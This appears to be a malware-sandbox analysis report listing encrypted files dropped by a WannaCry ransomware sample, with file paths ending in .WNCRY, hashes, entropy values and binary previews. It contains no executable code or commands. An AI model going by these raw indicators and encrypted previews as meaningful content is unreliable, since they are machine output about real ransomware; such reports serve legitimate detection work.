                                    SHA-256:38957FB6DA5370BA24DC46235754532D728F2FAF7473C760D116943DC69BC319
                                    SHA-512:CA2C426AD7A27F2975B4FBDD4C59A1037B833CD09B6691373C36834D27F5021F621A91EC387E3DA324D397773295572829AEF24AC7BB486427B29A3CDC806D09
                                    Malicious:false
                                    Preview:WANACRY!.....L.!....V.1W.......^..$.p.%.<.......u......ql..@Nga.a....>y8Z.X....."D.......\...A.... .....?....-o...&......>..c....<l..*.~.p.+..w....N.&.V..=.x.....3./.S...Co(....Xp.b...;..W...T9../....D........e.ZA.("...6d&..>.j.....n..M..h.q}..#XeN..................&.n\.7.x.H].u.S....ba.8_.X.j..z.]....C...o.V*..S...v5._....W..`...#.......C.A...v<.............q....q:-.w.J..K..KI1~.o.*+TvX\..A.Z...o+r..F..I....=a...32...GA.W.[.t....&..-7.?.........k'.o...D>y|.@NL.....[.P.......a=2_.M..>..uw..?-.G..I6.(<..Q.CaE.9..R.0.,.:wnlg..._HT.z{....y$.....A.{..q...5..==.9.5.j..\.C...*g+..8y.K.'0/M....G....>4...Xa.l..Q..&.L`1`.O3N%+.....H........`d.F4.....2<..}....X..!.!#qV.G.C.vI......'6.?.....0..f...p.Z....Z...>.1KD.+.......F.\....a...V..........<P..v.).Y9.l.(.31...b......Lcp.V...A..<...K..w.@)k..b...uO..vFT..:=.<.2.kA5...e-........g[...V...ZT.*...HU."..Q.n.R......m5.fO.k....?#....E.._.....$M.q]o..i.Wy.[...W;.O.a....@@..2.I.....n....".......

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84856655777303
                                    Encrypted:false
                                    SSDEEP:24:bkXtJ4ouFS6XI8B/KIRJz0aGRnD1RLZP4HwInG1QWxEMn/FsV7evewKBFDRiC:bk9J4ouFXI8BTR0aSRlNInuQWxH/w7eo
                                    MD5:69323FDB2ED7FE9B10BEC5CE3C6E23B9
                                    SHA1:C36F0204145EF3769CBC81BD1FD740EA2834EEB1
                                    SHA-256:A477AB644B8D16302C3C30BCEA19CEB866F0FAADAA20A3FDD46A27CE10859CDF
                                    SHA-512:33D53FC48BB1C41450367357B555D0B55BE8B172E76660546D014979A159510071E69C6E831F393250A0EEA09588FC2D0FCF542A64C6FD392E282C5B8EEDACB8
                                    Malicious:false
                                    Preview:WANACRY!........*...."#...r*..:...f.l..D..`4.s...K...q..R.Q.....,Z...:.YW.......%.Wc-.....Q.A."3b....;..%.'..M..L.d....=E0m..x.e=c....=..v."6..../.2.h...:...E.....Z.BY#~...M...ET.\x7......d..14......i...~...<C.o7....l.&)..w...Ik..........:.. .<..=..3<e.vL..............b.+.....30[S...<....O...z.;......m.j....w..6.'Z..vJ5SW..........u...0'.t-..L .....}...57G..).o.V.#$...,v0.?.....v..(.E.,:z7......r.U.Rn0..wH..S..}...*@.N.7.W.j$m,.{.....5&..g...4p.wV&.".Qg!E..6..p.:.x,TZI.a.p...t.i..<..4#..aDD2.MG.6.}v.B....lK....?.......R.=..Nib.~.T..tr.x..0..)~>.@....L...,"YP..(.Si.>....:N.5.|A.1*.SUI...|Q.....+.R.U...JK.2.5..p..+..Q@..n.qQ"...#.....T..G..c*.VT\..+.mu/..@..{.k0....;...6...R....l....lZM..'......dO_...'...s...[....E....2.f..fdv..X.Q...H5Q..:......&.c.6q?.sS]................~...<Q...3.....r...tP...h..`...`Q.p .....A....GU.a...E]....[....c..cF...ur.R..-.U...g>.Q..s.k..?...."e..h......XC...i.@.3jb&....!l....d..."............Y;Yr...=RT.6.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.833924858135191
                                    Encrypted:false
                                    SSDEEP:24:bkEtsM7i1Q5F+8p5fPIWTKGb0uMArwPw4xfqU2YKG+RdbLtiECTCI9cEk:bkYsj1QLj5YWth7Etq0BiJBvC2IY
                                    MD5:D6E563FD409DD72139222BA3B60AD433
                                    SHA1:05891556DB5A6074F68A9DF96C9B803D5557DE76
                                    SHA-256:4EC142F54BC33546F79D1422C1C303C03A1A17F734466B1899AD0A3AB8F07245
                                    SHA-512:D2EA63482DDB53DEF5C1CE512E959D667A19A1EB0895641F4795CA669FA2C867D648B15C4709648742889EAD85114DFCA517C86330AF389DAE1853F31117D3AD
                                    Malicious:false
                                    Preview:WANACRY!.......z....r.Pk..%[....$3Y...=.p....Y.{..+@|.../..ET.3o6|...+VC.O....8..Y...B....$~Y(\..?,.#!.K^..`.....7.&t.V~J.y..o0_X...#i4.|........@|#"w/.$.x..`.*.e..|..MO......%.2.V.5..m...z.....5...H..x.A.........f...R........*...{.....Ocx.fN|.Q.....;..............`..,.....~.`H....0;.l..H./x...|..#s-.!O+...|0"MQ.c....]...-ve...z2.y.|...... 3Ic..U./M{.+!.U..,..x....E|.[.i.....ZJM.F8..(.....G.}...K....0...6.R.U.E.N14.VH.._.3......R..2.....\H.....J>p.............)..W6T_.E...........I...?..\.A...F2.g.....5K"...;...i. ...4N.z...'...>...}......."...h...|....z.1......}.f.G5.B..P%z.Um....?'. I./..@1.<.....V..,.:%.o0...o.6..R........Z....0;-..z/.".......f.y.7.m.......''1.a."=.?[c...W0..(re..*8Z{..-l.*p.e.Mm.N3.........'.M*....62...g..UH.n.KW.n.}po..*../...3.3...^.j..Q...^6R.O.S.N...f.....F.,.bH..........V...,P.......t..D..m_...6g...x/t.T.. .8|<..t.f.KfjR...u.......vMJ.....-N...62.;..k"@.W.L<m.....N1.F..lHB....~.p....Ge....t..\...;0......c..O..Wz..J..:.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.820213785527753
                                    Encrypted:false
                                    SSDEEP:24:bkdI/fBubgUQEwtyOWNO+DDzFA2dR56IiVFLLQl6HbDjbDRI6PrW2u8D0:bkdI/5udeynNO+DFF3ojeCDjbDRI6PrU
                                    MD5:7C41754C422BB22D37734C9AA16011E1
                                    SHA1:D1C85D6BEA09DBD00B9EF5CCD2CEB2F3026F68D6
                                    SHA-256:64CCC67994BEC3D6F9EC40B99D1817165DA9E9DA3DDE38C779F488C2238E5E8F
                                    SHA-512:CC9FFFAB9C2934753FA8B1BE055463D8B70064CDAB2BFCE909BACFF671BEBEC71585634EE2DC98B9395C254B790B6AF3E2F3C4CFF758DAF8FB8E4A28A3459FCC
                                    Malicious:false
                                    Preview:WANACRY!.....I.b..;'...@.U..,(.aC%.B..p."..Pd.]...-.=..K.q....E...F.nn....PG...W......D......t. ...z...K..l...E.?.._...SQ.%W.{[[....@....T^.4*Mq.N.NEi$F9H.ro.~.r..`.8...UH..J......M~*.SV..7..T4.;..p.......\..>..?.....l..{.....}......K%..?%..."|..>......;..................Nd.8.|.....H!..'.Z.z".).....v..LGBX.V..7.A.C1.f..v.>..........X6........`z.%.[.[!...<..p...B....bg;c. ..@....2.#.F....Y..t.N.H.@.;.Td....;...A@....r.ZZ:a...`.$....r.JZ`......7*.*#.5( .X...+..:.3...7*.&NC.+..^.WUS.m.PK4P.....4...zi..)s.Y..i?....G/.W...j.........}X5.y..+z.o~lt.h+Q..emS...Ef.....Q...~ ....YS.....d...%......8.d..{!`.,.....r.g..^RV..i..k.J4.ks.....:..4{.x....a..C..].S......C...XC....NP...V7\.>.~>.`.c..........$.a..;i....C...KD...<..\.~.4..6.U.2`J`...w(.f.Y).=$4..U...>......... ....;.......*?x..%..).q.&....R...!..d#...\.X.%...ug.#.J.K.d._C.....~D.X/C=G..2/UC..4d..B!i4.#.......X..q.h.../....EDj.Vvx....7..O.R.P..w....3!D.%T(...D;.Cu...def4#...?..g..mD....

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846284509384519
                                    Encrypted:false
                                    SSDEEP:24:bkVtS7TfMgYm9fr+E6I0ikkJtVioSfUHlIMWthI/ey0WLGiN8gOtyXiZvrUzK+S:bkVcHffXfraI0iTLBSrthI/DrbMeevgE
                                    MD5:40B954075BBDE37C2653AECC6156EE6B
                                    SHA1:247943BC89C18274C089DD0D58F65BC5732527D5
                                    SHA-256:31E5E74DFE4754A458CFA3FC1420B4C7224E5613887B424A4EF98834F4452369
                                    SHA-512:B639BDDA2CD80C37D385388F5B17E21ABB5AB04606E78DE676EF8EAB693D1F83FC706E11C65C93B6C47D000E83DE3348827639E673323A26B87768FA6BDE48F9
                                    Malicious:false
                                    Preview:WANACRY!....Y....eO|......x.z......%....N...XV#..$..h......fy\.]nD.h{U......Q*.8.P!(..5O...3(J....`..8(p0....ya..1.~.B..M.i."u.H.3...Ua8...bwi.}e .|.t..D...iC..U.8D.@uk..;a'[..x..m2R.K..f]..RR.........._A....B....t.K.i....i.$Q..F.[.C7po."......u*...............R....*q....../......~.k..4.o.#..H..n)..]....(ga6q..I..t]w..l..-.c..g.pi..`...O.7...j,...y....f[..:.._L+..s.-...*aR..s...`._`.S..z ..Q].2.4"Jb.i;#I^../....u.h63G..q....h.%,E..R.$.D.{Z,.h....(..W.=L.5....x..V.J......"7[...NP..y.Y.....6...G.Z..#'....M..m...Bq..c......Z..kT#I.d.........A.k?....B.1x..}..._..k(.7,...[`.[px._b.u..:....^..zB./C..L..P..).'.f..W..I|...Ua..7.M.......z9!)..*%0...Th.{.k.._...9k......5)3Js...P..j...!..%.J.S.a.|...]......H.;.e!.m5...`.<-..\..Y(....B...gel x.......U.....N...0=g......T..ksYg.o.kL.......n..[.C1.....z.n.c.h.4.(..4K...}...E].*.}G.Z..._..C...x..n^.l.....\S..........c...0....w.._....w...h....?....'......:KB.e&...6>...B....4L#.........<....@_.u

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):67976
                                    Entropy (8bit):7.997234372883656
                                    Encrypted:true
                                    SSDEEP:1536:mcJgvrVyIpzg12KqYVyFBL5SF0wwI8kkpMXOB6wnlI8XsP:pKvrD5g1UnF14fwHlBrnl2
                                    MD5:4C53DEDE84A12E95A9DB896111C36BA2
                                    SHA1:C3A282618A0346EDD4D720C380CF0442AD655AFC
                                    SHA-256:7EDE7A54BFB4E145103E25472C49860C614940A91150A882A86234F970294566
                                    SHA-512:22B18FFA0AA2B443DF5469F65CD82D80414268BCAD077A13DEF6081650DA5B262B284B39040515A7BCD1D83402A589471F4B6BE549244BF178DF23D5009E23BB
                                    Malicious:true
                                    Preview:WANACRY!.....p.p.. S.Y.x*`.SZa.=.....0..:.;.r........6fx......b.....)!..u.$,V....d.%u..K...boehY.=..9..g..`.#0g<.. ...p.;.g?.....P..........lU.k.|..YW..Cr..uR3..le5d.v".A.y...._.....B......%.UE.?.\w..Cab..,.}...+..r..b...c.a.iF..d. Z&.{I.c0.{v..{.&.$.4.V....d.......YF....d.%.G..~Yb.'R.9....Q_.y.....v.=.7..I.#..]&`..*L...bt.....q.....W.w;..?.k...........F.@..2...t......{......?.R...f......W.....$...%......H|.f!.[z..>u.....i.C..s.^4OZG.p..p*.u...k.?..^.......a..)..._0g..-7...f...+Dt.BL7.A@M.08{...tt=.C.l:..>m.Q.....gT.[.~.....z...L..4....|kH.{.b|f.M..n@.....r..m....-.x.&.....,.!..........Jj...K)y...6.4.)[x.. .f*...>...f.-i....U.l.Yb.i..:l.(^..bF..9.BW..@..F.....$.>....cC.U.0m.-}.T..H#9...<!_u,..?.!&...:}.'..%.:*..|..}Q.B..+....u0.......kV........b..uM.X.......|....=.*+.c.}....*.0s..u..._..$..s,...)|.d.....@n....+.x.Z.Z....6...=..>.c[..9.(p.G.,&j.#c^S?........O.~P../x.b.g9=...V.g&x{....*..Pk.....#......!.'.{...!E.K.T.S9M>hx..\.8.o{..E..@0

                                    C:\Documents and Settings\user\Downloads\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862022389722758
                                    Encrypted:false
                                    SSDEEP:24:bkeSvB0UEcZNxKMdNvlAbhKAZ/ul7LCJ5l2OEaYFifnaXGilhAQmfA74dCd4u0SS:bkiEN0MdNvlA0AZ2pwMOEaNC2iPAzxd5
                                    MD5:9BED02BB3BA57CE4109D65BBB00A2A51
                                    SHA1:FE343F1291D4E07248EFF0380F17CAA253837162
                                    SHA-256:2FD62D273AF2597A4F4E9E111163AA6D48EA48C1799F5C03FBE32904BDB517BD
                                    SHA-512:6DD690F9DC63EA25B6C8A0198C7F511D4899E664B7CE19EFD8490F9B7D4FC50918D976C4C64806072B0025AD618050EF569BDD3252A07ECAD87F3BAC1F04906E
                                    Malicious:false
                                    Preview:WANACRY!.....eF....".\3or.I..s..:95. <...x.<~...e.FNL.$N.s..n|9"....2...............y...n........6!8.zT....f.E....<...s}..|.....T.5.?.sI.....Z|8X...@f...x.......... ...p...@.Y.J.X...d..........*..P......h2.....4*.Ts.R{!"....i.@...H.....<TPu%dT.M...(.O)@....'.............@.....o..Xye<.\..&~5.Kt.l..=@(x\i.....Rn.....2\.....?.Kb0.&...j...h.....c.O....P4O#....._...).......v.q\.B....s....v|..o.,\.j,..r..(.g.`R.N.....dp~.~|\....4F.`...........(\p..-..l+.Q.Lb.&.B4U..O.. ..\&..H..y.......C...h...s.s<..A;.^..(_S.O>{.X...k.l..9..0...M/.c...m.J..+.-.........(..-..u.d..WW.x...A.06.u..[M....$7.....om....-i}..2J..@6.W;...+v/-.....B..$<..w.&..Me.l.q.R.Tp.JA.....[=/..~>......zV.C.\.y&E;..>.[...C.r..s..8.t.lV.... ..L..^At..W.E...x/#c...g#..J....}..........s..K.Q..lq..k!fJ...?L...DV..^..84.V...)Bm-....J..I..1..mTZ......)i^s.[7.RLf.P*.S.....H.*...c.T........!..b:...M...$..p+....(.V.C..0...[.W|.......Q.GY.$...>UMB.k`X....J....P}...`.G.KLY....L0!M.w.SC#0...C.F.

                                    C:\Documents and Settings\user\Downloads\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85009606771765
                                    Encrypted:false
                                    SSDEEP:24:bkLiPmsIkOtVDPYyjEiiYLJVuKReEJRVcjqG3RKYttdrt4w6G/O8Mb:bkSIdVDNDtJvfCmXqtdrt4zGhMb
                                    MD5:B7E6FC0EAB2A230FEDBA67800EE996AA
                                    SHA1:31E19CD8D0332A4BC29B979B7486A09F4C5FBA4C
                                    SHA-256:65DEE07CF9D73DF3931A516BE529C98DE53636B659855224181E71102F026B10
                                    SHA-512:BA1908B2D9397AFC02B75222AD1C3716F99F32F07BD4A7795DE7B5F2EC2E90CFC53641FA69B988AA7F922CF0A83D04B69C3D66834D43147EE57908C014D79820
                                    Malicious:false
                                    Preview:WANACRY!.......&y....C..........QQ.m!Q%q..^..Q.4....\. }2}6E.r........./..g)...........k.Q.&..1..Y...O.).M7f...KH.>iuuy,...%.?.e..g.yU!.=G.6A..0]C.....*..Y-......M.o.kcN.r......B.r..........]?.tZ` ..k....H..#G.t.T..=....U.D.g*./..._..gu....d.(.OWr.E.~1Q.............&`......e..H....6(....6...@.....f.R+.)&...i.xH..5..m.S..........".%%5.\f.".Rk.iN..,.O..Ht~..y....p5....3.~lsP3.....K.4....K..$#...J..........W....~<.*......$w.D....O.s.oikQ.)k.\.X..)Xt.~....<..^d=...1.E4...\k.G....L.......y.6..G.........t..b.`.d.....t.....[..u#.*].p...Vk.....r....9..U..c.....c.p......n.+>....;(.Y..{...>*.W.R......4.g.....F..&h....!..5..|~...S.0.Dzha...3K.].i.V..I.?.D..a.L^I.2Y.DO.a?.....'Fu..P.*B.tDBl.j.K r..X...Tr>P..7..g'......t....4f,@."...P.^w..z.ki1.z.~p......w...Q....!.v.=...7..i.......9z.;...M.P...}0m...".;...5..yp....|......CM....v..o./...(.D........e.....u...Jf.d.q)N4.m.{'i.a.G.M9EY....\k..M.Y$g..H.-.l..e...gM.....pl....8.F('.m.1..P.%.R`.#..x..#.

                                    C:\Documents and Settings\user\Downloads\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.859554093032747
                                    Encrypted:false
                                    SSDEEP:24:bknJ7mvuJh/LfUVB8rHbK4dDpovMOxYHzdFyKf/s6NUKrGFEb4a7s:bkJ7yuJJLrHbKqeEOxYHzdq6CKKFED7s
                                    MD5:4151F77D68DC76E8AA9E099FC2BECE75
                                    SHA1:B5E6A293FC842D94E7E453539BB972779DE8F085
                                    SHA-256:1FCDD4245CD4A76ECC348E1DDC94A85D839B6B3888B8405FDC4D17D669F658F9
                                    SHA-512:429094F3DA30AC4E346FC43952C0299B766B24FA01D3BF9ACA6473526F57B6DF44BFF3DB4832A9419CA10D770C0C0707E2041D733B52F30D2FB6BA0B62138EE5
                                    Malicious:false
                                    Preview:WANACRY!.....H.o .1f.v.d....c}.7N.......wi}...&$.y..dM..rWO.Ys.w..dE...XT+..!wN.-.rJB;.4O$...y.O@.#...`.Fe.%.Iz....A.r...]no.@...Lka......s......t...1.#.^.m\.Z.....Gc..Q.7)...c..&4....#(.^...j,....K.#..R4F..q.d.....=."M..l.RY]..>..V...Z....=M.B.....pb..P'.................-...q..f.g/....Gj....'.....b\.mm..}..q.Z..l...K..FXs..p.u..S.28...WO.r....~.z'..Vx....^5..X.P..A5M..........C.....4e...y.]....p..cM.A$="dD...@.Z.VTog...r..a.9...9b..<...t.P.K.a.R.H..e..5... +d..V6.2....6....<.EP,..j.....z..:..m,.X..Dnj..A=.T..5k...^...L...!,TN..3J8.......[.....e."..W;.b.Wh+.......X.V.%.._y[....D.y...j.......g......^.3..*........7.Vx.O.. .h.a...}.+....?...ub..}..M..........m...t.E.ET.|......R.).k|wt...[..o.....5C....'>..:.. .K......_.R..\GyE.D,w...i........y...$........"d...8...1P9...W,C.4.(PW..Y.K.b.Ny.R.. .?)Zs%.UY.}.v......s....K...@....;.5.[>j....I...g....#......5Cc.g_ .u.l..........,{w.p.7.]C...o.N.....I.+.N".....}.6Q6.._...Y.Ti..Y..D...x...3t

                                    C:\Documents and Settings\user\Downloads\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846890461815807
                                    Encrypted:false
                                    SSDEEP:24:bk23gssVSUFtSmlEWkxNS0n8BGjL3fWgKq0uSRPP8fuKAh4:bk6patSYETIBGjL3fJrSd8fuW
                                    MD5:516376907E4E2D7260092EB3A8E7CB82
                                    SHA1:2AE928A75CD63148DBCC8B5D17D505B180A8966D
                                    SHA-256:512F9C586CB382264394481F1B08CB826F06E9E8559FA90B2EF635381F26D166
                                    SHA-512:F8754DB2619A8EC8FCDE750062C5D0480589BC9ED4C416E0483A48BE1BF15DDB13115C9171718831DABA1FEC300AECA69C104E60373D0EF4ED053C659822E511
                                    Malicious:false
                                    Preview:WANACRY!....%.$....g..}k..Z+pJ...L..............zW.....E1..\.y........~.......Z'.....Vh..R............j.....>..3h=..U._HL.$[a..4.....&5..~Z..X5v.S..W*.R_.cw2#......BL....<.5T...|.{....b+...A..o....=ao..4..S..........l....[.f.....;..o9.....,.....]..../sT..`.............7....6n.?....+.-....bW.....3B./#.T..._.......]........).....r!.7.5|"..1.1!..zS.6.<j.b..,5dm.r.h..*....J..[?.'2;...../d.....9r....Huh..F.b.!...c.u.Rz..&n..D.'\A...].O...`~...wL...v8e...!.:..S:.].E].........R.-.;..E.e.&S..y V...(G.........Y..z.+..u...K.>.9....W....."g.........2..4.]...lu...~....;CN.....'...6k7...>.........@.7.l_^%..*.J...TC..zD.a.m....P...P....P...7...W]I{.m.....&.^....:.<..&.>a....w..../...*...A..Q..g\.oA.1..I.o..%.U_....s.d....../...{..3.d.@i.......`F:.>.n..[,f..NP.HXC.(|`......8....0..Ph...34...|....V...Ur.k.....<.O...A_...o...4....n...^...~K4.....Y.La....|KE..L!7..".)..K..u..Pa.@.G.%..9...>...QF...t...0]/...J....(y.2.)...,.".....9>:v....1S..b?E%.{.4..

                                    C:\Documents and Settings\user\Downloads\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.859504859902436
                                    Encrypted:false
                                    SSDEEP:24:bk8nz3Efs/X40wc4yOEEQefv7Az9iltaBgvV6WV67lFFQzO525coTb/rBBXYxk2:bk8z3ws/epEEQQAMltaoulFkO4CojzYr
                                    MD5:BD44FA03C5FB698A9AD2FDA504686C63
                                    SHA1:6AB5B91BED10B4B583FAF7332A9C66D663F24E88
                                    SHA-256:DFD3EB268ABCA70933DAE777E9D049A9C0A894CD19C5A2FDFF4545E1377C0E75
                                    SHA-512:C6FA5FE700649794FD8174F1F60CEEA9E3E79BD06E08796EBC2533533E0502E6D6578F2CD5648CE8495792202635D64BCFC01B600DD0F960031FE150E39E4ADE
                                    Malicious:false
                                    Preview:WANACRY!......-BQM.....V.:/..........z$.s...".f.0.7...1#16....Xi.t.|Gi.>p...n..`..._..+%.v.X.4PE.i.aE.7..$....:..[#VT..b....*......\)|..$.e.V..8......_L....-K&].C..%A.(..?.+,.D..L..v..#..s..9.k.`i:..g..<.H...GH.S*.....\..<...u..!#.K.....y../..3.....;Wo..-.:;...............Kyk..}L-l...w$!Q|....)>.TB.f...+..A....w.4......s..0....~tr.I.-=..7.....[.....7jV.H%.........2..L'?.5.5,.....6..)<.)..LlTB..A..9.......++..VUx..b...+ .-[..&e.n..^....%.....E...O.Q..g.Gm....U..W...-.d..P]o..H.g.^.'B...r4...-".F.IfP..69....k...+I....$....K.b%...X.N.d....8......Y...$R..T.Eoa.j.......p..U.v.A.^O.-.~......%k......Z......u........4^..:..J$..BF.......X.n44....=\$....y...m^.<.....B...&..Y2...~`Zu*?.M;3K_..f;J....c!....A'......2....2...E. ....`........d.JD...>..GaN.{A..h.Z..{..Fp............8.O......\.x......O.U.....3.....^gp3...&.......r.._....{....oK-tMj.!i....NbS3E[.....R?../.....}.p.e..=..Oo.K.7.D..J...9/g.B_....5...<....P...P9..{..lVfl....M..KV....*..jo.q+..

                                    C:\Documents and Settings\user\Downloads\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.838318403675443
                                    Encrypted:false
                                    SSDEEP:24:bkoS71W9mk1rpqeAQAZyldyLTd7Z72TFwfr1yH2wTdKTtHg3B3wf4acJd4lCh:bkPMEoVNADZyu39ZSTe1ytdCWggaCPh
                                    MD5:D316F1C275935917938D6114EF28A2E4
                                    SHA1:51373F7F8960B390859EBAD0E0DEDA0E11CBA1C3
                                    SHA-256:D6A55CD642B9E263C81EB5FCF31C99F6DE84679EA152F3D0EF4F90DC00B10C68
                                    SHA-512:18E3FCC2B911803766D029D78F91F0620F2C8DE6BCA75EFFE7E9C58A56B360FDBBF14FEF1571BE4A88683E5DF874390DE6EEE2093391B6A933786F2A3067A583
                                    Malicious:false
                                    Preview:WANACRY!......?....%c1..A..6..3..U.HN.}D..a.B`....p....7...:u.&.......F..k....`L.d((.....OJJ.N..q.2.hL.&.&.^d..]....D..]..5..3jn.....J[.q....Ug..;l./|.j.9Ox..O......$N..>...e....:.X:zs....9.Q.....nR....q.:5d..l../-]FV.^.%b.ix...z.U.....y%.Z..K?......[...q..ge............R^....}..K.lq..*)]HiW.7..g....2B....U.....{...l/F.yu(q^.&..A...`."....../..M.l.....D....x.(S.%..B,.... ..Z..U.}...c...a.y,..S..J...}.t........*k.. ...`..S`.|.^_.2......g.Ru....MU)..G... ..]..;....=z>..b..<.......e$v..;...T....=...(.R....'..4.......km...yX..jh0M.....|...O.`.r.az.x9..>.....e..R...3U...4.C..GI.Bw...Kv......t..G{.xX....w...{......n..., ...y,..w.pK.].7=W.......\.5.q?v.._....`&\..m\...r}.....O!...w..H?$.. ....Qm...B....:f.~...&~+.`...}|.4.D...?Q.y...1/.6Q9.1..7..........!7.X#. i..>..o......{].....KW...A@S8...l..[....$.w..C..~......Z.>...tA.ys......F..u..!.%Q..2 hcz..o.K.wU.;.m..}*.]"AS..#...H.........n.g.N...{.fS....1.xx1......p..I...c...{.xw.F......"{c......A.tl_D...

                                    C:\Documents and Settings\user\Downloads\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834042683065249
                                    Encrypted:false
                                    SSDEEP:24:bk8I1+Xl2QIkP+XmLHDvPkTMDtknFNGnK6Q2LgQMwz:bkxQnWXOXLkFNGnK6JLg16
                                    MD5:AA8C1560AA48EB8A5AEB3BD832D7ED93
                                    SHA1:C63DBBCEF09E348A8D91390FC981586874BB5821
                                    SHA-256:621ED8528E1C14C4379D78C0DE11A781F8ADFCDE23939D0F6461DDE6F0F8416C
                                    SHA-512:80D5298C7AB56101A8389A9FA34A73C8B70DEB16C8201939780B4B986874BA834A94EFB8F55AD31F23E3F03E64605D872B1C8A5CB35CCFA3899B08BFC31C9D92
                                    Malicious:false
                                    Preview:WANACRY!.....p.1.u'.e.k~Eh.^Y....*.H=.7g.@w.H.........*;.wf.....r.H6m.Q:..:......g(u.bKW.x...qH.BPx&......{.....'..VT.j?....u...0.E....H.r...$N.f(~ $.+. .._...-....*.....^H..x...j....v`n=.;d..L..l.kw...;$w...m.L...m. ...rz._`q..?../...&..-.U/m8.|....KT"...............r...%...J!..%A....ZLU..5..;Vl*...C..U...\..x.YO.E.../T.sO...w..n...f...x.R..+i8.../Z...5.M.NN.Y...{.7.n_.2P..p.@..6..........ZS1 $+.y*z.i.....Ze(.a....z...4....9.D:&.....F...^.%..hh.<."..1g..Gh5*.h.H...a....#..z..3..9W.X...a%..a...<.CR..p.f._.......Q...m..g.....i......U..}. C&..4n..m.m.5'...x.r.. .p..pI./..p|l..r..t....;...b.-i.q/.6'.E.*.4.&..V.@x..Jr.|rY.E....G"n.;.SW2..+DN.....S..^w....r+..R#.. .@.~..I.Y..........L..Y~NZh....h..../.b........N>....=.^....y.sb><..ER...q..F(....MQg..6....>..IH........+.Rj....bB.._......[!A2..LZ...hr....m..N.Y.{Q). .Q....&.......ki-.tO'>.!.h.h3.......04.O.Zh....9K0e1....FK.e...j...f.............P19'y...Ks8....e.i^.Ah.5..*H...0..)....

                                    C:\Documents and Settings\user\Downloads\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.860466517672968
                                    Encrypted:false
                                    SSDEEP:24:bkVFRESh5N+zaqgF42mCBQ9fbFVgbcgZRfduOvVoTZsXVTkB2EQxM:bkVF6I+za71BUzFybdmAcaNEQa
                                    MD5:75FCC80FE393F8BB2CC735B199F5D735
                                    SHA1:DBC81CB73A7D76CC097B71E11F8A4D30079AB03D
                                    SHA-256:E7028E53A652784F69C38892D9FF72C20A25EE94CEC91214B7EA97522B6EC5FA
                                    SHA-512:E49031B5682584B6522FBB7BF9D35681AD4CD13557BA6F199BB72762BA200616C84F38EEC3641539212DF63D91EFEF809AE580924E33952F3B6C44FCBABA50E6
                                    Malicious:false
